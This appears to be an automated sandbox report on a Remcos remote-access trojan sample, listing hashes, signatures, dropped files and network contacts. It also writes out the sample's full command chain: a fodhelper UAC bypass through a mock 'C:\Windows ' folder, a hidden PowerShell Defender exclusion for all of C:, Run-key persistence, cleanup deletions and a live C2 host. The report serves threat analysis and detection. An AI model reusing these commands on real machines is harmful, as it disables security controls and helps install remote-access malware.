Analysis Overview
SHA256
cda0130e9d37d10ad972144854bfbe97657052044462c23cb3cf3b9b60d76fd2
Threat Level: Known bad
The file 349f6acd1726feb3a71375068bbd34a0N.exe was found to be: Known bad.
Malicious Activity Summary
Remcos
Checks computer location settings
Executes dropped EXE
Adds Run key to start application
Suspicious use of SetThreadContext
Program crash
Unsigned PE
Enumerates physical storage devices
Script User-Agent
Modifies registry class
Suspicious use of AdjustPrivilegeToken
Kills process with taskkill
Runs ping.exe
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-19 01:14
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-19 01:14
Reported
2024-07-19 01:16
Platform
win7-20240704-en
Max time kernel
110s
Max time network
104s
Command Line
Signatures
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\349f6acd1726feb3a71375068bbd34a0N.exe |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2132 wrote to memory of 2884 | N/A | C:\Users\Admin\AppData\Local\Temp\349f6acd1726feb3a71375068bbd34a0N.exe | C:\Windows\SysWOW64\WerFault.exe |
| PID 2132 wrote to memory of 2884 | N/A | C:\Users\Admin\AppData\Local\Temp\349f6acd1726feb3a71375068bbd34a0N.exe | C:\Windows\SysWOW64\WerFault.exe |
| PID 2132 wrote to memory of 2884 | N/A | C:\Users\Admin\AppData\Local\Temp\349f6acd1726feb3a71375068bbd34a0N.exe | C:\Windows\SysWOW64\WerFault.exe |
| PID 2132 wrote to memory of 2884 | N/A | C:\Users\Admin\AppData\Local\Temp\349f6acd1726feb3a71375068bbd34a0N.exe | C:\Windows\SysWOW64\WerFault.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\349f6acd1726feb3a71375068bbd34a0N.exe
"C:\Users\Admin\AppData\Local\Temp\349f6acd1726feb3a71375068bbd34a0N.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2132 -s 708
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | onedrive.live.com | udp |
| NL | 20.103.88.153:443 | onedrive.live.com | tcp |
| NL | 20.103.88.153:443 | onedrive.live.com | tcp |
Files
memory/2132-0-0x00000000002A0000-0x00000000002A1000-memory.dmp
memory/2132-1-0x0000000000400000-0x00000000005A4000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-19 01:14
Reported
2024-07-19 01:16
Platform
win10v2004-20240704-en
Max time kernel
120s
Max time network
117s
Command Line
Signatures
Remcos
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000\Control Panel\International\Geo\Nation | C:\Users\Public\Libraries\kkuthmkA.pif | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000\Control Panel\International\Geo\Nation | C:\Windows \System32\per.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Public\Libraries\kkuthmkA.pif | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\xkn.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\ger.exe | N/A |
| N/A | N/A | C:\Windows \System32\per.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Akmhtukk = "C:\\Users\\Public\\Akmhtukk.url" | C:\Users\Admin\AppData\Local\Temp\349f6acd1726feb3a71375068bbd34a0N.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2640 set thread context of 4980 | N/A | C:\Users\Admin\AppData\Local\Temp\349f6acd1726feb3a71375068bbd34a0N.exe | C:\Users\Public\Libraries\kkuthmkA.pif |
Enumerates physical storage devices
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000_Classes\ms-settings\shell\open\command | C:\Users\Public\ger.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000_Classes\ms-settings | C:\Users\Public\ger.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000_Classes\ms-settings\shell | C:\Users\Public\ger.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000_Classes\ms-settings\shell\open | C:\Users\Public\ger.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" | C:\Users\Public\ger.exe | N/A |
Runs ping.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
Script User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Public\xkn.exe | N/A |
| N/A | N/A | C:\Users\Public\xkn.exe | N/A |
| N/A | N/A | C:\Users\Public\xkn.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Public\xkn.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskkill.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\349f6acd1726feb3a71375068bbd34a0N.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\349f6acd1726feb3a71375068bbd34a0N.exe
"C:\Users\Admin\AppData\Local\Temp\349f6acd1726feb3a71375068bbd34a0N.exe"
C:\Users\Public\Libraries\kkuthmkA.pif
C:\Users\Public\Libraries\kkuthmkA.pif
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9DC6.tmp\9DC7.tmp\9DC8.bat C:\Users\Public\Libraries\kkuthmkA.pif"
C:\Windows\System32\extrac32.exe
C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
C:\Windows\system32\extrac32.exe
extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
C:\Windows\system32\extrac32.exe
extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
C:\Windows\system32\extrac32.exe
extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
C:\Users\Public\xkn.exe
C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
C:\Users\Public\alpha.exe
"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
C:\Users\Public\ger.exe
C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
C:\Windows \System32\per.exe
"C:\\Windows \\System32\\per.exe"
C:\Windows\system32\SystemSettingsAdminFlows.exe
"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
C:\Windows\system32\taskkill.exe
taskkill /F /IM SystemSettings.exe
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
C:\Windows\system32\PING.EXE
ping 127.0.0.1 -n 2
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
C:\Windows\SysWOW64\extrac32.exe
C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\349f6acd1726feb3a71375068bbd34a0N.exe C:\\Users\\Public\\Libraries\\Akmhtukk.PIF
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | onedrive.live.com | udp |
| NL | 20.103.88.153:443 | onedrive.live.com | tcp |
| NL | 20.103.88.153:443 | onedrive.live.com | tcp |
| US | 8.8.8.8:53 | xlazdq.db.files.1drv.com | udp |
| IE | 13.104.208.160:443 | xlazdq.db.files.1drv.com | tcp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 153.88.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 160.208.104.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | cxcs.microsoft.net | udp |
| GB | 23.206.78.251:443 | cxcs.microsoft.net | tcp |
| US | 8.8.8.8:53 | 251.78.206.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | luky00921.ddns.net | udp |
| LT | 94.156.79.154:6089 | luky00921.ddns.net | tcp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 121.170.16.2.in-addr.arpa | udp |
| LT | 94.156.79.154:6089 | luky00921.ddns.net | tcp |
| LT | 94.156.79.154:6089 | luky00921.ddns.net | tcp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | luky00921.ddns.net | udp |
| LT | 94.156.79.154:6089 | luky00921.ddns.net | tcp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
| LT | 94.156.79.154:6089 | luky00921.ddns.net | tcp |
Files
memory/2640-0-0x0000000002240000-0x0000000002241000-memory.dmp
memory/2640-1-0x0000000000400000-0x00000000005A4000-memory.dmp
C:\Users\Public\Libraries\kkuthmkA.pif
| MD5 | c116d3604ceafe7057d77ff27552c215 |
| SHA1 | 452b14432fb5758b46f2897aeccd89f7c82a727d |
| SHA256 | 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301 |
| SHA512 | 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6 |
memory/4980-5-0x0000000000400000-0x0000000001400000-memory.dmp
memory/4980-10-0x0000000000400000-0x000000000041A000-memory.dmp
memory/4980-9-0x0000000000400000-0x0000000001400000-memory.dmp
memory/4980-11-0x0000000000400000-0x0000000001400000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\9DC6.tmp\9DC7.tmp\9DC8.bat
| MD5 | e62f427202d3e5a3ba60ebe78567918c |
| SHA1 | 6ef0cd5ba6c871815fceb27ff095a7931452b334 |
| SHA256 | 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff |
| SHA512 | e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6 |
C:\Users\Public\alpha.exe
| MD5 | 8a2122e8162dbef04694b9c3e0b6cdee |
| SHA1 | f1efb0fddc156e4c61c5f78a54700e4e7984d55d |
| SHA256 | b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450 |
| SHA512 | 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397 |
C:\Users\Public\xkn.exe
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hx5aikrc.bqf.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2652-45-0x0000019D301F0000-0x0000019D30212000-memory.dmp
C:\Users\Public\ger.exe
| MD5 | 227f63e1d9008b36bdbcc4b397780be4 |
| SHA1 | c0db341defa8ef40c03ed769a9001d600e0f4dae |
| SHA256 | c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d |
| SHA512 | 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9 |
C:\Windows \System32\per.exe
| MD5 | 85018be1fd913656bc9ff541f017eacd |
| SHA1 | 26d7407931b713e0f0fa8b872feecdb3cf49065a |
| SHA256 | c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5 |
| SHA512 | 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459 |
memory/4980-72-0x0000000000400000-0x000000000041A000-memory.dmp
memory/4980-70-0x0000000000400000-0x0000000001400000-memory.dmp
memory/2640-78-0x0000000027C80000-0x0000000028C80000-memory.dmp
memory/2640-81-0x0000000027C80000-0x0000000028C80000-memory.dmp
memory/2640-82-0x0000000027C80000-0x0000000028C80000-memory.dmp
memory/2640-89-0x0000000027C80000-0x0000000028C80000-memory.dmp
memory/2640-90-0x0000000027C80000-0x0000000028C80000-memory.dmp
C:\ProgramData\remcos\logs.dat
| MD5 | ff357fe6367c8105fe6fdb5124788a0c |
| SHA1 | 2a5f43075424e4f22f10f75dc8f053e8ec89dc3c |
| SHA256 | 6830f6360c17190601c9226bfa108682e1704e07c70c88018dd3955a3e7c1ad0 |
| SHA512 | 07d57922c31c9a3ffe71248149f3f220f06229fc237910995746ee55b6c5e98c155895527768f09956ff8d314a7bc230ba4b89abbbc5706d7377db7bea344ca2 |
memory/2640-98-0x0000000027C80000-0x0000000028C80000-memory.dmp
memory/2640-99-0x0000000027C80000-0x0000000028C80000-memory.dmp
memory/2640-107-0x0000000027C80000-0x0000000028C80000-memory.dmp
memory/2640-108-0x0000000027C80000-0x0000000028C80000-memory.dmp
memory/2640-115-0x0000000027C80000-0x0000000028C80000-memory.dmp
memory/2640-116-0x0000000027C80000-0x0000000028C80000-memory.dmp